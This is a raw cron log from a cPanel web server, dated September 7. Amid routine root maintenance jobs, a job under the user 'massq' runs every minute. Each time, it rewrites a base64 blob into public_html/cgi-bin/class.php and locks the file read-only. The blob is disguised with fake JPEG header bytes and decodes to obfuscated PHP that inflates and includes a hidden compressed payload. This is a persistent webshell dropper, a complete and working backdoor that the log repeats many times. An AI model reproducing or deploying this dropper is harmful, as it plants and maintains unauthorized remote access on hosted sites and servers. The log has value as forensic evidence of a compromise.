Sep  7 05:20:01 server CROND[29989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:20:01 server CROND[29987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:20:01 server CROND[29986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:20:01 server CROND[29991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:20:01 server CROND[29994]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:20:01 server CROND[29992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:21:01 server CROND[30816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:21:01 server CROND[30817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:21:01 server CROND[30818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:22:01 server CROND[31214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:22:01 server CROND[31215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:22:01 server CROND[31216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:23:01 server CROND[31603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:23:01 server CROND[31604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:23:01 server CROND[31605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:24:01 server CROND[32081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:24:02 server CROND[32080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:24:02 server CROND[32082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:25:01 server CROND[32485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:25:01 server CROND[32487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:25:01 server CROND[32488]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:25:01 server CROND[32491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:25:01 server CROND[32490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:25:01 server CROND[32489]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:25:01 server CROND[32492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:26:01 server CROND[910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:26:01 server CROND[911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:26:01 server CROND[912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:27:01 server CROND[1392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:27:01 server CROND[1390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:27:01 server CROND[1393]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:27:01 server CROND[1391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:28:01 server CROND[1780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:28:01 server CROND[1781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:28:01 server CROND[1783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:29:01 server CROND[2188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:29:01 server CROND[2189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:29:01 server CROND[2190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:30:01 server CROND[2710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:30:01 server CROND[2715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:30:01 server CROND[2719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:30:01 server CROND[2722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:30:01 server CROND[2723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:30:01 server CROND[2720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:30:01 server CROND[2724]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  7 05:30:01 server CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:30:01 server CROND[2725]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:31:02 server CROND[3554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:31:02 server CROND[3555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:31:02 server CROND[3556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
